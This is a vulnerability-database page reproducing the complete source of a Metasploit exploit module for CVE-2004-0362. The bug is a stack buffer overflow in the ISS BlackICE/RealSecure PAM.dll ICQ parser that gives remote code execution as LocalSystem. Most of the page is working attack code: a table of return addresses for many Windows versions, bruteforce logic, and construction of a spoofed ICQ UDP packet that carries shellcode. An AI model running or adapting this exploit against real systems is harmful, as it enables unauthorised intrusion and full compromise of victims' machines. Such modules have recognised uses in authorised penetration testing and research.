Lucene search
K

ISS PAM.dll ICQ Parser Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

ISS PAM.dll ICQ Parser Buffer Overflow exploit for arbitrary code execution as LocalSystem. Requires 1 UDP packet, brute-force capable

Code

                                                ##
# $Id: blackice_pam_icq.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ISS PAM.dll ICQ Parser Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the ISS products that use
				the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
				will result in arbitrary code execution as LocalSystem. This exploit
				only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
				address.

				The ISS exception handler will recover the process after each overflow, giving
				us the ability to bruteforce the service and exploit it multiple times.
			},
			'Author'         => 'spoonm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2004-0362'],
					['OSVDB', '4355'],
					['URL',   'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
					['URL',   'http://xforce.iss.net/xforce/alerts/id/166'],
				],
			'Payload'        =>
				{
					'Space'           => 504 -31 -4,
					'BadChars'        => "\x00",
					'MinNops'         => 0,
					'MaxNops'         => 0,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Bruteforce',                   {  } ],
					[ 'Bruteforce iis-pam1.dll',      { 'Targets' => 3 .. 4  } ],
					[ 'Bruteforce NT 4.0',            { 'Targets' => 5 .. 15 } ],
					[ 'iis-pam1.dll 3.6.06',          { 'Ret' => 0x5e0a47ef } ],
					[ 'iis-pam1.dll 3.6.11',          { 'Ret' => 0x5e0da1db } ],
					[ 'WinNT SP3/SP4/SP5',            { 'Ret' => 0x777e79ab } ],
					[ 'WinNT SP4/SP5',                { 'Ret' => 0x7733b8db } ],
					[ 'WinNT SP5/SP6 - advapi32',     { 'Ret' => 0x77dcd1cb } ],
					[ 'WinNT SP3/SP5/SP6 - shell32',  { 'Ret' => 0x77cec080 } ],
					[ 'WinNT SP5/SP6 - mswsock',      { 'Ret' => 0x7767ebca } ],
					[ 'WinXP SP0/SP1 - shell32',      { 'Ret' => 0x776606af } ],
					[ 'WinXP SP0/SP1 - atl',          { 'Ret' => 0x76b305a7 } ],
					[ 'WinXP SP0/SP1 - atl',          { 'Ret' => 0x76e61a21 } ],
					[ 'WinXP SP0/SP1 - ws2_32',       { 'Ret' => 0x71ab7bfb } ],
					[ 'WinXP SP0/SP1 - mswsock',      { 'Ret' => 0x71a5403d } ],
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
					[ 'Win2000 SP0 - SP4',            { 'Ret' => 0x750231e2 } ],
					[ 'Win2000 SP2/SP3 - samlib',     { 'Ret' => 0x75159da3 } ],
					[ 'Win2000 SP0/SP1 - activeds',   { 'Ret' => 0x77ed0beb } ],
					[ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e3171b } ],
					[ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
					[ 'WinXP SP0 - SP1',              { 'Ret' => 0x71aa3a4b } ],
					[ 'Win2003 SP0',                  { 'Ret' => 0x71bf3cc9 } ],
				],
			'DisclosureDate' => 'Mar 18 2004',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(1)
			], self.class)
	end

	def exploit
		datastore['RPORT'] = rand(65536) if rport == 1

		targs = [ target ]

		if target.name =~ /^Brute/
			if target['Targets']
				targs = []

				target['Targets'].each { |idx|
					targs << targets[idx]
				}
			else
				targs = targets.dup

				targs.delete_at(0)
				targs.delete_at(0)
				targs.delete_at(0)
			end
		end

		targs.each { |targ|
			print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...")

			shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length)
			email     = rand_text_english(19) + [targ.ret].pack('V') + shellcode

			# Hopefully this structure is correct -- ported from msf 2.  Blame me
			# (skape) if it doesn't work!
			packet    =
				# SRV_MULTI
				[5, 0, 0, 530, 0, 0, 1161044754, 0, 2].pack('vcVvvvVVc') +
				# SRV_USER_ONLINE
				[5, 0, 0, 110, 0, 0, 1161044754, 0].pack('vcVvvvVV') +
				[1161044754, 1, 0, 0, 0, 0, 0].pack('VVVVcVV') +
				# SRV_META_USER
				[5, 0, 0, 990, 0, 0, 2018915346, 0].pack('vcVvvvVV') +
				"\x00\x00\x0a" + # subcommand / success
				"\x00\x00"     + # nick length / nick
				"\x00\x00"     + # first length / first
				"\x00\x00"     + # last length / last
				[email.length].pack('v') + email +
				"\x00\x00\x00\x00\x00\x00\x00"

			print_status("Sending UDP request to #{datastore['RPORT']} (#{packet.length} bytes)")

			connect_udp(true, { 'CPORT' => 4000 })
			udp_sock.put(packet)
			disconnect_udp

			print_status("Sleeping (giving exception handler time to recover)")

			select(nil,nil,nil,5)
		}
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation